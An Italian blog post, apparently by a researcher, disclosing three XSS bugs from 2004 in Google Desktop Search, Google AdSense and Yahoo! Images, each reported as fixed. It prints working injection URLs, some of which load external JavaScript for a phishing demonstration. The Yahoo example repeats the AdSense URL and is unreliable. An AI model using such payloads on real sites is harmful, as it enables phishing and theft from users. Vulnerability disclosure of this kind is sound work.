I bug che ho scoperto su Google e Yahoo

Google Desktop Search

GOOGLE CORREGGE IL BUG: 27 Ottobre 2004!

Il bug che ho personalmente scoperto riguarda il noto motore di ricerca Google ed il programma “Google Desktop Search“.

Il bug deriva dalla integrazione dei risultati di Google Desktop Search in quelli di Google. Si tratta di un bug di XSS.

Per verificare l’esistenza del bug dovete avere installato il Google Desktop Search e aver fatto indicizzare almeno un file di testo (.txt) a Google Desktop Search, quindi aprite la seguente pagina:

http://www.google.it/search?q=txt&meta="><script>alert("BUG")</script><a="

Dopo un po’ di prove sono riuscito a far richiamare un file javascript dall’esterno. Guardate cosa ho potuto fare (un esempio di phishing):

Potete vedere con i vostri occhi andando in:

http://www.google.it/search?q=txt&meta="><script>immagine=document.
getElementsByTagName("img");immagine[0].src="javascript:document.
appendChild(document.createElement(’script’)).src=’http://www.salvatore-aranzulla.com
/googlebug.js’";</script><a%20href="

(l’indirizzo è stato spezzato su più righe per motivi di impaginazione)

L’url truffaldino, in questo caso, è facilmente capibile da un utente che conosce internet, ma se qualcuno lo camuffasse?

Si potrebbero così facilmente creare delle truffe per l’utente inesperto, chiamate “phishing”. Vi consiglio per il momento di disinstallare Google Desktop Search.

Google AdSense

GOOGLE CORREGGE IL BUG: 02 Novembre 2004!

Dopo il bug che ho scoperto in Google circa il suo Google Desktop Search, non sapevo che fare e.. ehm… ne ho scoperto un’altro :-))

Il bug questa volta riguarda il circuito degli annunci di Google ed i suoi sotto domini: http://pagead.googlesyndication.com/ e http://pagead2.googlesyndication.com/

Il bug deriva dal fatto che Google non filtra i testi passati, dando la possibilità a chiunque di inserire del codice Html/Javascript nella pagina:

http://pagead2.googlesyndication.com/pagead/userfeedback?url=http://www.sito.com/
&hl=it&adU=http://mirabilweb.altervista.org&adT=Salvatore%20Aranzulla
&adU=http://mirabilweb.altervista.org&adT="><script>
alert("BUG")</script><"&exp=ads&done=1

(l’indirizzo è stato spezzato su più righe per motivi di impaginazione)

Faccio apparire un alert, inserendo nella pagina del codice Javascript

Sfruttando questo bug di XSS, è possibile, ad esempio, modificare le pagine di Google, creando falsi annunci e truffe (phishing), come faccio vedere di seguito:

Esempio di una possibile truffa online

http://pagead2.googlesyndication.com/pagead/userfeedback?url=http://www.sito.com/
&hl=it&adU=&adT=Prova?&adU=google.it&adT="><
script%20src=http://www.salvatore-aranzulla.com/googlebug1.js></script><
"&exp=ads&done=1

(l’indirizzo è stato spezzato su più righe per motivi di impaginazione)

Yahoo! Immagini

YAHOO! CORREGGE IL BUG: 12 Novembre 2004!

Dopo i due bug da me scoperti in Google (Google Desktop Search, Google AdSense), ho lasciato stare Google per passare al suo concorrente, Yahoo!, ed.. ehm.. ecco un’altro bug :-))

Il bug riguarda il motore di ricerca di Yahoo e più precisamente la parte dedita alle ricerche delle immagini e, ancora più esattamente, la pagina che visualizza l’anteprima dell’immagine.

Come al solito si tratta di un bug di XSS, ovvero è possibile inserire nel codice della pagina codice HTML/Javascript:

Visualizzo una finestrella (un alert)

Ecco l’indirizzo che ho usato per visualizzare l’alert:

http://pagead2.googlesyndication.com/pagead/userfeedback?url=
http://www.sito.com/&amp;hl=it&amp;adU=&amp;adT=Prova?
&amp;adU=google.it&amp;adT=&quot;&gt;&lt;script
%20src=http://www.salvatore-aranzulla.com/googlebug1.js&gt;&lt;
/script&gt;&lt;&quot;&amp;exp=ads&amp;done=1

(l’indirizzo è stato spezzato su più righe per motivi di impaginazione)

Ovviamente sfruttando questo bug è possibile creare delle truffe online (phishing) ai danni dell’utente inesperto. Non riporto, questa volta un esempio, per ovvi motivi. Yahoo! è stato contattato.

File Javascript utilizzati negli attacchi: googlebug.js e googlebug1.js